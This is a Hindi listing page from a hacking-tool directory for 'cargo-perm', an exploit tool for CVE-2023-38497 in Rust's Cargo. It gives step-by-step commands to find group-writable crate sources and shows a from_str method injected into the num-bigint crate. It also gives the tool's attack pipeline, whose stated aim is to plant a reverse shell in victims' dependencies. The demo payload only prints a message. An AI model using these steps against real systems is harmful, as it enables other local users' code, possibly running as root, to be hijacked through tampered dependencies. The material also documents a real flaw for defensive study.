Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cargo-perm — CVE-2023-38497 से Cargo एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/lucas-cauhe/cargo-perm
भेद्यता विश्लेषणकोड विश्लेषणशोषणरिवर्स इंजीनियरिंगआपूर्ति श्रृंखला सुरक्षापेलोड डेवलपमेंट
GitHublucas-cauhe/cargo-perm

cargo-perm

CVE-2023-38497 से Cargo एक्सप्लॉइट

रिपॉजिटरी देखें
112 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

विवरण

कार्गो संस्करण 1.7.0 में एक नई कमजोरी पाई गई है जैसा कि यहाँ बताया गया है।

चरण दर चरण

पहले आपको सुनिश्चित करना होगा कि आपका कार्गो संस्करण कमजोर है

cargo --version

मान लीजिए मेरे पास निम्नलिखित src/main.rs फ़ाइल वाला एक कार्गो प्रोजेक्ट है:

root@kitploit:~
use num_bigint::BigInt;
use std::str::FromStr;

// Silly guessing game
fn main() {
    let secret_number = BigInt::from_str("123456789");
    loop {
        println!("Make a guess: ");
        let mut guess = String::new();
        std::io::stdin()
            .read_line(&mut guess)
            .expect("Error reading stdin");
        let guess = BigInt::from_str(guess.trim());
        if guess == secret_number {
            println!("That's right");
            break;
        }
    }
}

अगर मैं प्रोग्राम चलाता हूँ:

root@kitploit:~
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!

यहाँ कुछ गलत नहीं है।

अब, आपके सिस्टम में सभी स्थापित क्रेट्स में से, उन्हें फ़िल्टर करें जिनकी अनुमतियाँ खराब कॉन्फ़िगरेशन वाली हैं, अर्थात, जिन्हें समूह या अन्य मशीन उपयोगकर्ताओं द्वारा लिखा जा सकता है

find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"

यह सभी कमजोर रस्ट स्रोत फ़ाइलों की एक सूची देगा। इनमें से वह फ़ाइल चुनें जो आपके हमले के लिए उपयुक्त हो, जिसमें एक ऐसी विधि परिभाषित हो जो लक्ष्य कार्गो प्रोजेक्ट के स्रोत कोड में उपयोग की जाती है।

और उपरोक्त सूची से मुझे निम्नलिखित कमजोर फ़ाइल मिलती है:

$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs

जैसा कि पहले वादा किया गया था, इसकी निम्नलिखित अनुमतियाँ हैं: -rw-rw-r--

इसलिए इसे कार्गो प्रोजेक्ट स्वामी के समान समूह में किसी भी उपयोगकर्ता द्वारा संशोधित किया जा सकता है, यह डरावना है। लेकिन कल्पना करें कि कोई भी उपयोगकर्ता उस फ़ाइल को लिख सकता है, ठीक है, ऐसे क्रेट्स हैं जिनमें ऐसी अनुमतियाँ हैं।

अब आप अपनी मशीन में एक नया उपयोगकर्ता जोड़ सकते हैं, या प्रोजेक्ट उपयोगकर्ता के अलावा किसी मौजूदा उपयोगकर्ता का उपयोग कर सकते हैं जो उस फ़ाइल के उपयोगकर्ता के समान समूह से संबंधित है जिसे हम लक्षित कर रहे हैं। उदाहरण के लिए, मेरी मशीन में उस स्रोत फ़ाइल के निम्नलिखित स्वामी और समूह हैं: atreides people और मेरे पास एक और उपयोगकर्ता है, उस पर id कमांड चलाने से निम्नलिखित परिणाम मिलता है:

uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)

अब हम जानते हैं कि उपयोगकर्ता bob हमारी लक्ष्य फ़ाइल और ऐसी अनुमतियों वाली किसी भी अन्य फ़ाइल को लिख सकता है। bob पर स्विच करें और आगे बढ़ें।

हमारे अनुमान लगाने वाले खेल पर एक नज़र डालने पर हम देख सकते हैं कि इसमें BigInt स्ट्रक्ट से from_str विधि का उपयोग किया जा रहा है। यह देखने के लिए एक दिलचस्प विधि हो सकती है।

लक्ष्य फ़ाइल से मैंने कोड का यह टुकड़ा निकाला है:

root@kitploit:~
impl FromStr for BigInt {
    type Err = ParseBigIntError;

    #[inline]
    fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
        BigInt::from_str_radix(s, 10)
    }
}

अब, क्या होगा अगर आप इसे इस तरह बनाते हैं

root@kitploit:~
impl FromStr for BigInt {
    type Err = ParseBigIntError;

    #[inline]
    fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
        println!("Message from beyond");
        BigInt::from_str_radix(s, 10)
    }
}

और इसे लक्ष्य निर्देशिका को साफ करके फिर से चलाएँ:

root@kitploit:~
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!

वाह! कल्पना करें कि आप अपना कार्गो प्रोजेक्ट लिख रहे हैं और आपको निम्नलिखित संदेश मिलते हैं।

ध्यान दें कि ऐसा केवल तब होगा जब लक्ष्य निर्देशिका को पहले हटा दिया गया हो, अर्थात, स्रोत फ़ाइल को संशोधित करने के बाद कार्गो को क्रेट को संकलित करना होगा।

अब, यह केवल इस कमजोरी का शोषण करने के तरीके का एक डेमो है, लेकिन कल्पना करें कि यदि आप किसी स्रोत फ़ाइल के अंदर किसी भी प्रकार का पेलोड रखते हैं। इस रेपो का उद्देश्य जब भी कोई उपयोगकर्ता कार्गो प्रोजेक्ट चलाता है, उसके खाते के साथ रिवर्स शेल कनेक्शन स्थापित करना है।

यदि आप इस बात पर विचार करें कि रूट विशेषाधिकारों के साथ कार्गो स्थापनाएं हो सकती हैं, तो यह एक बड़ी कमजोरी है, इसलिए रखा गया पेलोड ऐसी अनुमतियों के साथ निष्पादित होगा।

प्रोजेक्ट संरचना

इस प्रोजेक्ट में आपको निम्नलिखित उपयोगिताएँ मिलेंगी:

कमजोरी विश्लेषक

स्थानीय कार्गो संग्रह और एक लक्ष्य कार्गो प्रोजेक्ट में खोज करता है ताकि लक्ष्य के स्रोत कोड में शोषण किए जा सकने वाले सभी विशिष्ट तरीकों को खोजा जा सके। यदि कोई विशेष विधि है जिसका आप शोषण करना चाहते हैं या आपके पास लक्ष्य कार्गो प्रोजेक्ट पर पढ़ने की अनुमति नहीं है, तो हमले की पाइपलाइन में vanalyzer को छोड़ दें।

root@kitploit:~
./vanalyzer/run.sh <target-project-path> <target-username>

उपलब्ध पेलोड

सभी पेलोड प्रकार (मुख्य रूप से रिवर्स शेल और अन्य मैलवेयर) जिन्हें लक्ष्य क्रेट स्रोत कोड के अंदर रखा जा सकता है। अब तक सभी उपलब्ध पेलोड हैं:

  • रिवर्स शेल (पहला जो लागू किया जाएगा)

एकीकरण

मॉक शेल जो कमजोरी विश्लेषक चलाने के लिए कमांड प्राप्त करता है और ऊपर सूचीबद्ध पेलोड में से एक और कमजोरी विश्लेषक से शोषण करने के लिए चयनित विधि लेता है और पेलोड को स्रोत कोड में एकीकृत (कॉपी और पेस्ट) करता है।

आवश्यकताएँ

  • cargo-public-api

हमला पाइपलाइन

  1. मॉक शेल चलाएँ (कार्गो प्रोजेक्ट)

cargo run

  • vanalyzer + integrate कमांड के माध्यम से

vanalyzer <cargo_project> <target_username>

integrate <file_no> <method_no> <payload>

  • एक्सप्लॉइट के माध्यम से

exploit <path_to_local_archive_crate_file> <method's_name> <payload>

  1. ok कमांड चलाएँ
टूल डाउनलोड करें